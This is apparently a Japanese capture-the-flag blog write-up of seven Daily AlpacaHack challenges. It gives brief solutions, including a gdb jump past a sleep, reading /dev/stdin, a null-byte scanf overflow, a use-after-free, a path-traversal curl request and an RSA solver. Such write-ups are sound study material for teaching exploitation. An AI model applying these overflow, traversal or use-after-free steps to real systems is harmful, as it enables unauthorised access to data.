# Daily AlpacaHack Week 3 (2025-12-15 〜 2025-12-21) ## 12/15: Flag Printer 2100 (Rev, Medium) sleep処理を飛ばせればフラグを出力してくれそう. gdbで実行し,sleep中に`Ctrl z`でデバッグ画面に戻り,次の行へジャンプした. ```gdb ► 0 0x7ffff7ceca7a clock_nanosleep+90 1 0x7ffff7cf9a27 nanosleep+23 2 0x7ffff7d0ec93 sleep+67 3 0x5555555559f1 main+33 4 0x7ffff7c2a1ca __libc_start_call_main+122 5 0x7ffff7c2a28b __libc_start_main+139 pwndbg> jump *0x5555555559f1 Continuing at 0x5555555559f1. Alpaca{XXX} ``` ## 12/16: 🐈 (Web, Medium) ```py @app.get("/cat") def cat(): file = request.args.get("file", "app.py") if not Path(file).exists(): return "🚫" if "flag" in file: return "🚩" return subprocess.run( ["cat", file], capture_output=True, timeout=1, stdin=open("flag.txt"), # !! ).stdout.decode() ``` fileは存在チェックされていて,ファイル名に`flag`が入っている場合にも弾かれてしまう. サブプロセスの方を確認すると,引数でfileがあるのに,更に標準入力でflag.txtを渡している. linuxには標準入力を指すデバイスファイル`/dev/stdin`があるので,これを指定すればフラグが得られる. ## 12/17: login-bonus(Pwn, Medium) passwordとsecretが,それぞれ32バイトのグローバル変数として宣言されており,secretは起動毎にランダムな文字列となる. password入力時の`scanf`では長さが制限されておらず,secretを上書きできそうだ. `strcmp`で比較されるので,passwordとsecretが同じとなるようにしたい. 32個のヌルバイトで試したところ,認証が進んだ.実行したコマンドは以下. ```bash ( echo -e "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"; cat) | ./login ``` ## 12/18: Twilight (Rev, Medium) ghidraのデコンパイル結果をもとに考える. ```c local_58[0] = a; local_58[1] = b; i = 0; while (i < strlen(flag)) { fp = local_58[i % 2]; out = fp(flag[i], i); printf("0x%X, ", out); i++; } putchar('\n'); ```` 関数ポインタを利用し,インデックス`i % 2`によって呼び出す関数が切り替わっている. ```c int a(int param_1, int param_2) { return param_1 + param_2; } ``` ```c uint b(uint param_1, uint param_2) { return param_1 ^ param_2; } ``` ## 12/19: alloc-101 (Pwn, Hard) ```c case 2: { assert(item != NULL); free(item); //item == NULL; } ``` 一部がコメントアウトされていて,メモリ領域解放後でもitem自体は解放前のアドレスを指したままとなっている. なのでflagのメモリ領域をitemと同じにできそう. 以下,実行例. ```sh file information: XX bytes 1. allocate 2. free 3. read 4. allocate flag choice> 1 size> 'XXと同じにする' [DEBUG] item: 0x64f77bce7490 choice> 2 choice> 4 [DEBUG] flag: 0x64f77bce7490 choice> 3 FLAG{XXX} ``` ## 12/20: omikuji (Web, Medium) ```js app.post('/save', async c => { const type = await c.req.text() const content = await getResultContent(type) const filename = randomString() await writeFile(`${import.meta.dirname}/public/result/${filename}.html`, html` <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Result</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/water.css@2/out/light.css"> </head> <body> <pre>${content}</pre> <a href="/">Back to Top</a> </body> </html> `) return c.json({ location: `/result/${filename}.html` }) }) ``` リクエストでファイル名を受け取り,その内容を含めたhtmlファイルを作成している. リクエストをそのまま変数に格納していて制限がない.パストラバーサルできそう. 以下,実行例. ```sh curl http://34.170.146.252:40060/save \ -H 'Content-Type: text/plain' \ --data-raw '../flag' ``` ## 12/21: RSA debug? (Crypto, Medium) my_powの実装を確認する ```py def my_pow(a, n, m): result = 1 while n > 0: if n % 2 != 0: result = (result + a) % m # omg! a = (a + a) % m # oops! n = n // 2 return result ``` 通常であれば乗算すべき箇所が加算となっている.この計算では $c \equiv \text{flag} \times e + 1 \pmod N$ となり,flagは $\text{flag} \equiv (c - 1) \times e^{-1} \pmod N$ 一応のsolver. ```python from Crypto.Util.number import long_to_bytes, inverse # output.txt より N = 142152419619953056039030613006300356362328489550709389999387369748296278181079224756839343268342516013642694413617303501060708009652311527189475960379078488611592094334453807443536588862100338035073773947550237167141330041879985706663975671411606265404764401055491939553565105755943917581461262323010934286591 c = 1032307400372525030420319173259503709384961767939821142794251896087430140750696054688678035256705431662987859651860033467060026426212901209540363 e = 0x101 flag_int = (c - 1) * inverse(e, N) % N print(long_to_bytes(flag_int).decode()) ``` ## 感想 これを書くまでに期間を開けてしまい,悩んだ箇所とか忘れてしまっている.まずい. solverはあまり書かず手動で挙動を確かめる問題がほとんどだった印象で,比較的取り組みやすかった気がする.